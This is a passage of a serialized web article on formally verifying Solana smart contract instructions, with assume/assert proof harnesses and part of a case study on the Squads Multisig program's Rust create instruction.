props":24328,"children":24330},{"className":24329},[6757],[24331],{"type":21,"tag":153,"props":24332,"children":24335},{"className":24333},[6762,24334],"vlist-t2",[24336,24441],{"type":21,"tag":153,"props":24337,"children":24339},{"className":24338},[6767],[24340,24434],{"type":21,"tag":153,"props":24341,"children":24344},{"className":24342,"style":24343},[6772],"height:0.2253em;",[24345],{"type":21,"tag":153,"props":24346,"children":24348},{"style":24347},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[24349,24353],{"type":21,"tag":153,"props":24350,"children":24352},{"className":24351,"style":6782},[6781],[],{"type":21,"tag":153,"props":24354,"children":24356},{"className":24355},[6787,6788,6789,6790],[24357],{"type":21,"tag":153,"props":24358,"children":24360},{"className":24359},[6742,6790],[24361,24366,24372,24382,24388,24397,24406,24412,24417,24423,24428],{"type":21,"tag":153,"props":24362,"children":24364},{"className":24363},[6742,24280,6790],[24365],{"type":26,"value":29},{"type":21,"tag":153,"props":24367,"children":24369},{"className":24368},[6742,24280,6790],[24370],{"type":26,"value":24371},"cc",{"type":21,"tag":153,"props":24373,"children":24375},{"className":24374},[6820,6790],[24376],{"type":21,"tag":153,"props":24377,"children":24379},{"className":24378},[6790],[24380],{"type":26,"value":24381}," ",{"type":21,"tag":153,"props":24383,"children":24385},{"className":24384},[6923,6790],[24386],{"type":26,"value":24387},"∈",{"type":21,"tag":153,"props":24389,"children":24391},{"className":24390},[6820,6790],[24392],{"type":21,"tag":153,"props":24393,"children":24395},{"className":24394},[6790],[24396],{"type":26,"value":24381},{"type":21,"tag":153,"props":24398,"children":24400},{"className":24399},[6742,26,6790],[24401],{"type":21,"tag":153,"props":24402,"children":24404},{"className":24403},[6742,6790],[24405],{"type":26,"value":24201},{"type":21,"tag":153,"props":24407,"children":24410},{"className":24408},[24409,6790],"mopen",[24411],{"type":26,"value":189},{"type":21,"tag":153,"props":24413,"children":24415},{"className":24414},[6742,24280,6790],[24416],{"type":26,"value":5896},{"type":21,"tag":153,"props":24418,"children":24420},{"className":24419},[6742,24280,6790],[24421],{"type":26,"value":24422},"t",{"type":21,"tag":153,"props":24424,"children":24426},{"className":24425},[6742,24280,6790],[24427],{"type":26,"value":21972},{"type":21,"tag":153,"props":24429,"children":24432},{"className":24430},[24431,6790],"mclose",[24433],{"type":26,"value":2071},{"type":21,"tag":153,"props":24435,"children":24438},{"className":24436},[24437],"vlist-s",[24439],{"type":26,"value":24440},"​",{"type":21,"tag":153,"props":24442,"children":24444},{"className":24443},[6767],[24445],{"type":21,"tag":153,"props":24446,"children":24449},{"className":24447,"style":24448},[6772],"height:0.4747em;",[24450],{"type":21,"tag":153,"props":24451,"children":24452},{},[],{"type":21,"tag":153,"props":24454,"children":24456},{"className":24455,"style":6859},[6820],[],{"type":21,"tag":153,"props":24458,"children":24460},{"className":24459},[6742],[24461,24471,24476,24481,24486],{"type":21,"tag":153,"props":24462,"children":24464},{"className":24463},[6742,26],[24465],{"type":21,"tag":153,"props":24466,"children":24468},{"className":24467},[6742],[24469],{"type":26,"value":24470},"invariant",{"type":21,"tag":153,"props":24472,"children":24474},{"className":24473},[24409],[24475],{"type":26,"value":189},{"type":21,"tag":153,"props":24477,"children":24479},{"className":24478},[6742,24280],[24480],{"type":26,"value":29},{"type":21,"tag":153,"props":24482,"children":24484},{"className":24483},[6742,24280],[24485],{"type":26,"value":24371},{"type":21,"tag":153,"props":24487,"children":24489},{"className":24488},[24431],[24490],{"type":26,"value":2071},{"type":21,"tag":22,"props":24492,"children":24493},{},[24494],{"type":21,"tag":78,"props":24495,"children":24497},{"className":24496},[6715,6716],[24498],{"type":21,"tag":153,"props":24499,"children":24501},{"className":24500},[6721],[24502],{"type":21,"tag":153,"props":24503,"children":24505},{"className":24504,"ariaHidden":3294},[6726],[24506,24537],{"type":21,"tag":153,"props":24507,"children":24509},{"className":24508},[6731],[24510,24514,24519,24524,24528,24533],{"type":21,"tag":153,"props":24511,"children":24513},{"className":24512,"style":24275},[6736],[],{"type":21,"tag":153,"props":24515,"children":24517},{"className":24516,"style":24281},[6742,24280],[24518],{"type":26,"value":24284},{"type":21,"tag":153,"props":24520,"children":24522},{"className":24521},[6742],[24523],{"type":26,"value":3033},{"type":21,"tag":153,"props":24525,"children":24527},{"className":24526,"style":6918},[6820],[],{"type":21,"tag":153,"props":24529,"children":24531},{"className":24530},[6923],[24532],{"type":26,"value":24299},{"type":21,"tag":153,"props":24534,"children":24536},{"className":24535,"style":6918},[6820],[],{"type":21,"tag":153,"props":24538,"children":24540},{"className":24539},[6731],[24541,24545,24668,24672],{"type":21,"tag":153,"props":24542,"children":24544},{"className":24543,"style":24311},[6736],[],{"type":21,"tag":153,"props":24546,"children":24548},{"className":24547},[24316],[24549,24554],{"type":21,"tag":153,"props":24550,"children":24552},{"className":24551,"style":24323},[24316,24321,24322],[24553],{"type":26,"value":24326},{"type":21,"tag":153,"props":24555,"children":24557},{"className":24556},[6757],[24558],{"type":21,"tag":153,"props":24559,"children":24561},{"className":24560},[6762,24334],[24562,24657],{"type":21,"tag":153,"props":24563,"children":24565},{"className":24564},[6767],[24566,24652],{"type":21,"tag":153,"props":24567,"children":24569},{"className":24568,"style":24343},[6772],[24570],{"type":21,"tag":153,"props":24571,"children":24572},{"style":24347},[24573,24577],{"type":21,"tag":153,"props":24574,"children":24576},{"className":24575,"style":6782},[6781],[],{"type":21,"tag":153,"props":24578,"children":24580},{"className":24579},[6787,6788,6789,6790],[24581],{"type":21,"tag":153,"props":24582,"children":24584},{"className":24583},[6742,6790],[24585,24590,24595,24604,24609,24618,24627,24632,24637,24642,24647],{"type":21,"tag":153,"props":24586,"children":24588},{"className":24587},[6742,24280,6790],[24589],{"type":26,"value":29},{"type":21,"tag":153,"props":24591,"children":24593},{"className":24592},[6742,24280,6790],[24594],{"type":26,"value":24371},{"type":21,"tag":153,"props":24596,"children":24598},{"className":24597},[6820,6790],[24599],{"type":21,"tag":153,"props":24600,"children":24602},{"className":24601},[6790],[24603],{"type":26,"value":24381},{"type":21,"tag":153,"props":24605,"children":24607},{"className":24606},[6923,6790],[24608],{"type":26,"value":24387},{"type":21,"tag":153,"props":24610,"children":24612},{"className":24611},[6820,6790],[24613],{"type":21,"tag":153,"props":24614,"children":24616},{"className":24615},[6790],[24617],{"type":26,"value":24381},{"type":21,"tag":153,"props":24619,"children":24621},{"className":24620},[6742,26,6790],[24622],{"type":21,"tag":153,"props":24623,"children":24625},{"className":24624},[6742,6790],[24626],{"type":26,"value":24221},{"type":21,"tag":153,"props":24628,"children":24630},{"className":24629},[24409,6790],[24631],{"type":26,"value":189},{"type":21,"tag":153,"props":24633,"children":24635},{"className":24634},[6742,24280,6790],[24636],{"type":26,"value":5896},{"type":21,"tag":153,"props":24638,"children":24640},{"className":24639},[6742,24280,6790],[24641],{"type":26,"value":24422},{"type":21,"tag":153,"props":24643,"children":24645},{"className":24644},[6742,24280,6790],[24646],{"type":26,"value":21972},{"type":21,"tag":153,"props":24648,"children":24650},{"className":24649},[24431,6790],[24651],{"type":26,"value":2071},{"type":21,"tag":153,"props":24653,"children":24655},{"className":24654},[24437],[24656],{"type":26,"value":24440},{"type":21,"tag":153,"props":24658,"children":24660},{"className":24659},[6767],[24661],{"type":21,"tag":153,"props":24662,"children":24664},{"className":24663,"style":24448},[6772],[24665],{"type":21,"tag":153,"props":24666,"children":24667},{},[],{"type":21,"tag":153,"props":24669,"children":24671},{"className":24670,"style":6859},[6820],[],{"type":21,"tag":153,"props":24673,"children":24675},{"className":24674},[6742],[24676,24685,24690,24695,24700],{"type":21,"tag":153,"props":24677,"children":24679},{"className":24678},[6742,26],[24680],{"type":21,"tag":153,"props":24681,"children":24683},{"className":24682},[6742],[24684],{"type":26,"value":24470},{"type":21,"tag":153,"props":24686,"children":24688},{"className":24687},[24409],[24689],{"type":26,"value":189},{"type":21,"tag":153,"props":24691,"children":24693},{"className":24692},[6742,24280],[24694],{"type":26,"value":29},{"type":21,"tag":153,"props":24696,"children":24698},{"className":24697},[6742,24280],[24699],{"type":26,"value":24371},{"type":21,"tag":153,"props":24701,"children":24703},{"className":24702},[24431],[24704],{"type":26,"value":2071},{"type":21,"tag":22,"props":24706,"children":24707},{},[24708],{"type":26,"value":24709},"Our instruction invariants are represented as:",{"type":21,"tag":87,"props":24711,"children":24712},{},[24713,24749],{"type":21,"tag":91,"props":24714,"children":24715},{},[24716,24743,24744],{"type":21,"tag":78,"props":24717,"children":24719},{"className":24718},[6715,6716],[24720],{"type":21,"tag":153,"props":24721,"children":24723},{"className":24722},[6721],[24724],{"type":21,"tag":153,"props":24725,"children":24727},{"className":24726,"ariaHidden":3294},[6726],[24728],{"type":21,"tag":153,"props":24729,"children":24731},{"className":24730},[6731],[24732,24736],{"type":21,"tag":153,"props":24733,"children":24735},{"className":24734,"style":24275},[6736],[],{"type":21,"tag":153,"props":24737,"children":24740},{"className":24738,"style":24739},[6742,24280],"margin-right:0.05764em;",[24741],{"type":26,"value":24742},"S",{"type":26,"value":18031},{"type":21,"tag":78,"props":24745,"children":24747},{"className":24746},[],[24748],{"type":26,"value":22851},{"type":21,"tag":91,"props":24750,"children":24751},{},[24752,24778,24779],{"type":21,"tag":78,"props":24753,"children":24755},{"className":24754},[6715,6716],[24756],{"type":21,"tag":153,"props":24757,"children":24759},{"className":24758},[6721],[24760],{"type":21,"tag":153,"props":24761,"children":24763},{"className":24762,"ariaHidden":3294},[6726],[24764],{"type":21,"tag":153,"props":24765,"children":24767},{"className":24766},[6731],[24768,24772],{"type":21,"tag":153,"props":24769,"children":24771},{"className":24770,"style":24275},[6736],[],{"type":21,"tag":153,"props":24773,"children":24775},{"className":24774,"style":24739},[6742,24280],[24776],{"type":26,"value":24777},"E",{"type":26,"value":18031},{"type":21,"tag":78,"props":24780,"children":24782},{"className":24781},[],[24783],{"type":26,"value":22858},{"type":21,"tag":22,"props":24785,"children":24786},{},[24787,24789,24816,24818,24823,24825,24831],{"type":26,"value":24788},"And ",{"type":21,"tag":78,"props":24790,"children":24792},{"className":24791},[6715,6716],[24793],{"type":21,"tag":153,"props":24794,"children":24796},{"className":24795},[6721],[24797],{"type":21,"tag":153,"props":24798,"children":24800},{"className":24799,"ariaHidden":3294},[6726],[24801],{"type":21,"tag":153,"props":24802,"children":24804},{"className":24803},[6731],[24805,24809],{"type":21,"tag":153,"props":24806,"children":24808},{"className":24807,"style":24275},[6736],[],{"type":21,"tag":153,"props":24810,"children":24813},{"className":24811,"style":24812},[6742,24280],"margin-right:0.07153em;",[24814],{"type":26,"value":24815},"K",{"type":26,"value":24817}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":21,"tag":78,"props":24819,"children":24821},{"className":24820},[],[24822],{"type":26,"value":23183},{"type":26,"value":24824}," not an ",{"type":21,"tag":78,"props":24826,"children":24828},{"className":24827},[],[24829],{"type":26,"value":24830},"Err",{"type":26,"value":23436},{"type":21,"tag":22,"props":24833,"children":24834},{},[24835],{"type":26,"value":24836},"In order to verify these conditions we need to verify three cases:",{"type":21,"tag":114,"props":24838,"children":24840},{"id":24839},"account-invariants-1",[24841],{"type":26,"value":24842},"Account invariants",{"type":21,"tag":22,"props":24844,"children":24845},{},[24846,24848,24879,24881,24911,24913,24943],{"type":26,"value":24847},"After we execute an instruction, either the function should error and be reverted (",{"type":21,"tag":78,"props":24849,"children":24851},{"className":24850},[6715,6716],[24852],{"type":21,"tag":153,"props":24853,"children":24855},{"className":24854},[6721],[24856],{"type":21,"tag":153,"props":24857,"children":24859},{"className":24858,"ariaHidden":3294},[6726],[24860],{"type":21,"tag":153,"props":24861,"children":24863},{"className":24862},[6731],[24864,24868,24874],{"type":21,"tag":153,"props":24865,"children":24867},{"className":24866,"style":24275},[6736],[],{"type":21,"tag":153,"props":24869,"children":24871},{"className":24870},[6742],[24872],{"type":26,"value":24873},"¬",{"type":21,"tag":153,"props":24875,"children":24877},{"className":24876,"style":24812},[6742,24280],[24878],{"type":26,"value":24815},{"type":26,"value":24880},") or the account post-invariants should hold (",{"type":21,"tag":78,"props":24882,"children":24884},{"className":24883},[6715,6716],[24885],{"type":21,"tag":153,"props":24886,"children":24888},{"className":24887},[6721],[24889],{"type":21,"tag":153,"props":24890,"children":24892},{"className":24891,"ariaHidden":3294},[6726],[24893],{"type":21,"tag":153,"props":24894,"children":24896},{"className":24895},[6731],[24897,24901,24906],{"type":21,"tag":153,"props":24898,"children":24900},{"className":24899,"style":24275},[6736],[],{"type":21,"tag":153,"props":24902,"children":24904},{"className":24903,"style":24281},[6742,24280],[24905],{"type":26,"value":24284},{"type":21,"tag":153,"props":24907,"children":24909},{"className":24908},[6742],[24910],{"type":26,"value":3033},{"type":26,"value":24912},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":21,"tag":78,"props":24914,"children":24916},{"className":24915},[6715,6716],[24917],{"type":21,"tag":153,"props":24918,"children":24920},{"className":24919},[6721],[24921],{"type":21,"tag":153,"props":24922,"children":24924},{"className":24923,"ariaHidden":3294},[6726],[24925],{"type":21,"tag":153,"props":24926,"children":24928},{"className":24927},[6731],[24929,24933,24938],{"type":21,"tag":153,"props":24930,"children":24932},{"className":24931,"style":24275},[6736],[],{"type":21,"tag":153,"props":24934,"children":24936},{"className":24935,"style":24281},[6742,24280],[24937],{"type":26,"value":24284},{"type":21,"tag":153,"props":24939,"children":24941},{"className":24940},[6742],[24942],{"type":26,"value":2996},{"type":26,"value":24944},") should hold since we will verify all of the functions eventually.",{"type":21,"tag":22,"props":24946,"children":24947},{},[24948,24950],{"type":26,"value":24949},"So we are trying to prove that ",{"type":21,"tag":78,"props":24951,"children":24953},{"className":24952},[6715,6716],[24954],{"type":21,"tag":153,"props":24955,"children":24957},{"className":24956},[6721],[24958],{"type":21,"tag":153,"props":24959,"children":24961},{"className":24960,"ariaHidden":3294},[6726],[24962,24999,25031],{"type":21,"tag":153,"props":24963,"children":24965},{"className":24964},[6731],[24966,24970,24975,24980,24985,24989,24995],{"type":21,"tag":153,"props":24967,"children":24969},{"className":24968,"style":6841},[6736],[],{"type":21,"tag":153,"props":24971,"children":24973},{"className":24972},[24409],[24974],{"type":26,"value":189},{"type":21,"tag":153,"props":24976,"children":24978},{"className":24977,"style":24281},[6742,24280],[24979],{"type":26,"value":24284},{"type":21,"tag":153,"props":24981,"children":24983},{"className":24982},[6742],[24984],{"type":26,"value":2996},{"type":21,"tag":153,"props":24986,"children":24988},{"className":24987,"style":6821},[6820],[],{"type":21,"tag":153,"props":24990,"children":24992},{"className":24991},[6826],[24993],{"type":26,"value":24994},"∧",{"type":21,"tag":153,"props":24996,"children":24998},{"className":24997,"style":6821},[6820],[],{"type":21,"tag":153,"props":25000,"children":25002},{"className":25001},[6731],[25003,25007,25012,25017,25021,25027],{"type":21,"tag":153,"props":25004,"children":25006},{"className":25005,"style":6841},[6736],[],{"type":21,"tag":153,"props":25008,"children":25010},{"className":25009,"style":24812},[6742,24280],[25011],{"type":26,"value":24815},{"type":21,"tag":153,"props":25013,"children":25015},{"className":25014},[24431],[25016],{"type":26,"value":2071},{"type":21,"tag":153,"props":25018,"children":25020},{"className":25019,"style":6918},[6820],[],{"type":21,"tag":153,"props":25022,"children":25024},{"className":25023},[6923],[25025],{"type":26,"value":25026},"→",{"type":21,"tag":153,"props":25028,"children":25030},{"className":25029,"style":6918},[6820],[],{"type":21,"tag":153,"props":25032,"children":25034},{"className":25033},[6731],[25035,25039,25044],{"type":21,"tag":153,"props":25036,"children":25038},{"className":25037,"style":24275},[6736],[],{"type":21,"tag":153,"props":25040,"children":25042},{"className":25041,"style":24281},[6742,24280],[25043],{"type":26,"value":24284},{"type":21,"tag":153,"props":25045,"children":25047},{"className":25046},[6742],[25048],{"type":26,"value":3033},{"type":21,"tag":22,"props":25050,"children":25051},{},[25052],{"type":26,"value":25053},"We can construct a proof harness like the following:",{"type":21,"tag":143,"props":25055,"children":25057},{"code":25056,"language":22157,"meta":7,"className":22158,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[25058],{"type":21,"tag":78,"props":25059,"children":25060},{"__ignoreMap":7},[25061,25069,25086],{"type":21,"tag":153,"props":25062,"children":25063},{"class":155,"line":156},[25064],{"type":21,"tag":153,"props":25065,"children":25066},{"style":160},[25067],{"type":26,"value":25068},"assume(P0)\n",{"type":21,"tag":153,"props":25070,"children":25071},{"class":155,"line":166},[25072,25077,25081],{"type":21,"tag":153,"props":25073,"children":25074},{"style":160},[25075],{"type":26,"value":25076},"res ",{"type":21,"tag":153,"props":25078,"children":25079},{"style":198},[25080],{"type":26,"value":2367},{"type":21,"tag":153,"props":25082,"children":25083},{"style":160},[25084],{"type":26,"value":25085}," instruction_handler(...)\n",{"type":21,"tag":153,"props":25087,"children":25088},{"class":155,"line":225},[25089,25093,25097,25102,25107,25112],{"type":21,"tag":153,"props":25090,"children":25091},{"style":1751},[25092],{"type":26,"value":22680},{"type":21,"tag":153,"props":25094,"children":25095},{"style":160},[25096],{"type":26,"value":189},{"type":21,"tag":153,"props":25098,"children":25100},{"style":25099},"--shiki-default:#F44747",[25101],{"type":26,"value":23315},{"type":21,"tag":153,"props":25103,"children":25104},{"style":160},[25105],{"type":26,"value":25106},"K ",{"type":21,"tag":153,"props":25108,"children":25109},{"style":25099},[25110],{"type":26,"value":25111},"||",{"type":21,"tag":153,"props":25113,"children":25114},{"style":160},[25115],{"type":26,"value":25116}," P1)\n",{"type":21,"tag":22,"props":25118,"children":25119},{},[25120],{"type":26,"value":25121},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":21,"tag":114,"props":25123,"children":25125},{"id":25124},"positive-instruction-invariant",[25126],{"type":26,"value":25127},"Positive instruction invariant",{"type":21,"tag":22,"props":25129,"children":25130},{},[25131,25133,25139,25141,25192],{"type":26,"value":25132},"Next we need to prove that ",{"type":21,"tag":78,"props":25134,"children":25136},{"className":25135},[],[25137],{"type":26,"value":25138},"success_if",{"type":26,"value":25140}," is a sufficient condition for instruction success. I.e. ",{"type":21,"tag":78,"props":25142,"children":25144},{"className":25143},[6715,6716],[25145],{"type":21,"tag":153,"props":25146,"children":25148},{"className":25147},[6721],[25149],{"type":21,"tag":153,"props":25150,"children":25152},{"className":25151,"ariaHidden":3294},[6726],[25153,25179],{"type":21,"tag":153,"props":25154,"children":25156},{"className":25155},[6731],[25157,25161,25166,25170,25175],{"type":21,"tag":153,"props":25158,"children":25160},{"className":25159,"style":24275},[6736],[],{"type":21,"tag":153,"props":25162,"children":25164},{"className":25163,"style":24739},[6742,24280],[25165],{"type":26,"value":24742},{"type":21,"tag":153,"props":25167,"children":25169},{"className":25168,"style":6918},[6820],[],{"type":21,"tag":153,"props":25171,"children":25173},{"className":25172},[6923],[25174],{"type":26,"value":25026},{"type":21,"tag":153,"props":25176,"children":25178},{"className":25177,"style":6918},[6820],[],{"type":21,"tag":153,"props":25180,"children":25182},{"className":25181},[6731],[25183,25187],{"type":21,"tag":153,"props":25184,"children":25186},{"className":25185,"style":24275},[6736],[],{"type":21,"tag":153,"props":25188,"children":25190},{"className":25189,"style":24812},[6742,24280],[25191],{"type":26,"value":24815},{"type":26,"value":355},{"type":21,"tag":22,"props":25194,"children":25195},{},[25196],{"type":26,"value":25197},"Just like before we can construct a proof harness:",{"type":21,"tag":143,"props":25199,"children":25201},{"code":25200,"language":22157,"meta":7,"className":22158,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[25202],{"type":21,"tag":78,"props":25203,"children":25204},{"__ignoreMap":7},[25205,25213,25228],{"type":21,"tag":153,"props":25206,"children":25207},{"class":155,"line":156},[25208],{"type":21,"tag":153,"props":25209,"children":25210},{"style":160},[25211],{"type":26,"value":25212},"assume(S)\n",{"type":21,"tag":153,"props":25214,"children":25215},{"class":155,"line":166},[25216,25220,25224],{"type":21,"tag":153,"props":25217,"children":25218},{"style":160},[25219],{"type":26,"value":25076},{"type":21,"tag":153,"props":25221,"children":25222},{"style":198},[25223],{"type":26,"value":2367},{"type":21,"tag":153,"props":25225,"children":25226},{"style":160},[25227],{"type":26,"value":25085},{"type":21,"tag":153,"props":25229,"children":25230},{"class":155,"line":225},[25231,25235],{"type":21,"tag":153,"props":25232,"children":25233},{"style":1751},[25234],{"type":26,"value":22680},{"type":21,"tag":153,"props":25236,"children":25237},{"style":160},[25238],{"type":26,"value":25239},"(K)\n",{"type":21,"tag":22,"props":25241,"children":25242},{},[25243,25245,25250,25252,25264],{"type":26,"value":25244},"This proof assures that whenever ",{"type":21,"tag":78,"props":25246,"children":25248},{"className":25247},[],[25249],{"type":26,"value":22851},{"type":26,"value":25251}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":21,"tag":5302,"props":25253,"children":25254},{},[25255,25257,25262],{"type":26,"value":25256},"even if ",{"type":21,"tag":78,"props":25258,"children":25260},{"className":25259},[],[25261],{"type":26,"value":22851},{"type":26,"value":25263}," is not satisfied",{"type":26,"value":25265},". To specify explicit error conditions we need our third and final proof.",{"type":21,"tag":114,"props":25267,"children":25269},{"id":25268},"_3-negative-instruction-invariant",[25270],{"type":26,"value":25271},"3. Negative instruction invariant",{"type":21,"tag":22,"props":25273,"children":25274},{},[25275,25277,25282,25284,25340],{"type":26,"value":25276},"Finally, we want to prove that ",{"type":21,"tag":78,"props":25278,"children":25280},{"className":25279},[],[25281],{"type":26,"value":22858},{"type":26,"value":25283}," is a sufficient condition for instruction failure. I.e. ",{"type":21,"tag":78,"props":25285,"children":25287},{"className":25286},[6715,6716],[25288],{"type":21,"tag":153,"props":25289,"children":25291},{"className":25290},[6721],[25292],{"type":21,"tag":153,"props":25293,"children":25295},{"className":25294,"ariaHidden":3294},[6726],[25296,25322],{"type":21,"tag":153,"props":25297,"children":25299},{"className":25298},[6731],[25300,25304,25309,25313,25318],{"type":21,"tag":153,"props":25301,"children":25303},{"className":25302,"style":24275},[6736],[],{"type":21,"tag":153,"props":25305,"children":25307},{"className":25306,"style":24739},[6742,24280],[25308],{"type":26,"value":24777},{"type":21,"tag":153,"props":25310,"children":25312},{"className":25311,"style":6918},[6820],[],{"type":21,"tag":153,"props":25314,"children":25316},{"className":25315},[6923],[25317],{"type":26,"value":25026},{"type":21,"tag":153,"props":25319,"children":25321},{"className":25320,"style":6918},[6820],[],{"type":21,"tag":153,"props":25323,"children":25325},{"className":25324},[6731],[25326,25330,25335],{"type":21,"tag":153,"props":25327,"children":25329},{"className":25328,"style":24275},[6736],[],{"type":21,"tag":153,"props":25331,"children":25333},{"className":25332},[6742],[25334],{"type":26,"value":24873},{"type":21,"tag":153,"props":25336,"children":25338},{"className":25337,"style":24812},[6742,24280],[25339],{"type":26,"value":24815},{"type":26,"value":355},{"type":21,"tag":22,"props":25342,"children":25343},{},[25344],{"type":26,"value":25345},"This harness looks just like the previous one:",{"type":21,"tag":143,"props":25347,"children":25349},{"code":25348,"language":22157,"meta":7,"className":22158,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[25350],{"type":21,"tag":78,"props":25351,"children":25352},{"__ignoreMap":7},[25353,25361,25376],{"type":21,"tag":153,"props":25354,"children":25355},{"class":155,"line":156},[25356],{"type":21,"tag":153,"props":25357,"children":25358},{"style":160},[25359],{"type":26,"value":25360},"assume(E)\n",{"type":21,"tag":153,"props":25362,"children":25363},{"class":155,"line":166},[25364,25368,25372],{"type":21,"tag":153,"props":25365,"children":25366},{"style":160},[25367],{"type":26,"value":25076},{"type":21,"tag":153,"props":25369,"children":25370},{"style":198},[25371],{"type":26,"value":2367},{"type":21,"tag":153,"props":25373,"children":25374},{"style":160},[25375],{"type":26,"value":25085},{"type":21,"tag":153,"props":25377,"children":25378},{"class":155,"line":225},[25379,25383,25387,25391],{"type":21,"tag":153,"props":25380,"children":25381},{"style":1751},[25382],{"type":26,"value":22680},{"type":21,"tag":153,"props":25384,"children":25385},{"style":160},[25386],{"type":26,"value":189},{"type":21,"tag":153,"props":25388,"children":25389},{"style":25099},[25390],{"type":26,"value":23315},{"type":21,"tag":153,"props":25392,"children":25393},{"style":160},[25394],{"type":26,"value":25395},"K)\n",{"type":21,"tag":22,"props":25397,"children":25398},{},[25399,25401,25405],{"type":26,"value":25400},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":21,"tag":5302,"props":25402,"children":25403},{},[25404],{"type":26,"value":19069},{"type":26,"value":25406}," the account invariants we expect are always being preserved.",{"type":21,"tag":66,"props":25408,"children":25410},{"id":25409},"case-study-squads-multisig",[25411],{"type":26,"value":25412},"Case study: Squads Multisig",{"type":21,"tag":22,"props":25414,"children":25415},{},[25416,25418,25423],{"type":26,"value":25417},"During our research, we focused on formally verifying aspects of the ",{"type":21,"tag":29,"props":25419,"children":25421},{"href":21522,"rel":25420},[33],[25422],{"type":26,"value":21526},{"type":26,"value":355},{"type":21,"tag":22,"props":25425,"children":25426},{},[25427,25429,25435,25437,25443],{"type":26,"value":25428},"The program defines a Multisig account (",{"type":21,"tag":78,"props":25430,"children":25432},{"className":25431},[],[25433],{"type":26,"value":25434},"Ms",{"type":26,"value":25436},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":21,"tag":78,"props":25438,"children":25440},{"className":25439},[],[25441],{"type":26,"value":25442},"threshold",{"type":26,"value":25444}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":21,"tag":22,"props":25446,"children":25447},{},[25448],{"type":26,"value":25449},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":21,"tag":22,"props":25451,"children":25452},{},[25453],{"type":26,"value":25454},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":21,"tag":126,"props":25456,"children":25457},{},[25458,25463,25468,25473],{"type":21,"tag":91,"props":25459,"children":25460},{},[25461],{"type":26,"value":25462},"Incrementally verifying minimum requirements to create a multisig",{"type":21,"tag":91,"props":25464,"children":25465},{},[25466],{"type":26,"value":25467},"Verify threshold requirements",{"type":21,"tag":91,"props":25469,"children":25470},{},[25471],{"type":26,"value":25472},"Verify requirements to remove a member",{"type":21,"tag":91,"props":25474,"children":25475},{},[25476],{"type":26,"value":25477},"Safety guarantees",{"type":21,"tag":114,"props":25479,"children":25481},{"id":25480},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[25482],{"type":26,"value":25483},"1. Incrementally verifying minimum requirements to create a multisig",{"type":21,"tag":22,"props":25485,"children":25486},{},[25487,25489,25494],{"type":26,"value":25488},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":21,"tag":78,"props":25490,"children":25492},{"className":25491},[],[25493],{"type":26,"value":22851},{"type":26,"value":25495}," expression.",{"type":21,"tag":22,"props":25497,"children":25498},{},[25499,25501,25506,25508,25514],{"type":26,"value":25500},"Creating a multisig (",{"type":21,"tag":78,"props":25502,"children":25504},{"className":25503},[],[25505],{"type":26,"value":25434},{"type":26,"value":25507},") requires invoking the ",{"type":21,"tag":78,"props":25509,"children":25511},{"className":25510},[],[25512],{"type":26,"value":25513},"create",{"type":26,"value":25515}," instruction:",{"type":21,"tag":143,"props":25517,"children":25519},{"code":25518,"language":147,"meta":7,"className":145,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[25520],{"type":21,"tag":78,"props":25521,"children":25522},{"__ignoreMap":7},[25523,25540,25595,25625,25633,25641,25658,25709,25757,25765,25806,25813,25829,25862,25904,25911,25918,25937,25965,25985,26005,26033,26052,26060,26088,26108,26128,26135,26143,26175,26198,26232,26239,26246,26254,26295,26328,26336,26344,26353,26429,26462,26470,26478,26515,26528,26541,26554,26608,26617],{"type":21,"tag":153,"props":25524,"children":25525},{"class":155,"line":156},[25526,25531,25536],{"type":21,"tag":153,"props":25527,"children":25528},{"style":160},[25529],{"type":26,"value":25530},"#[derive(",{"type":21,"tag":153,"props":25532,"children":25533},{"style":214},[25534],{"type":26,"value":25535},"Accounts",{"type":21,"tag":153,"props":25537,"children":25538},{"style":160},[25539],{"type":26,"value":22954},{"type":21,"tag":153,"props":25541,"children":25542},{"class":155,"line":166},[25543,25548,25552,25556,25561,25565,25569,25574,25578,25582,25586,25590],{"type":21,"tag":153,"props":25544,"children":25545},{"style":160},[25546],{"type":26,"value":25547},"#[instruction(threshold",{"type":21,"tag":153,"props":25549,"children":25550},{"style":198},[25551],{"type":26,"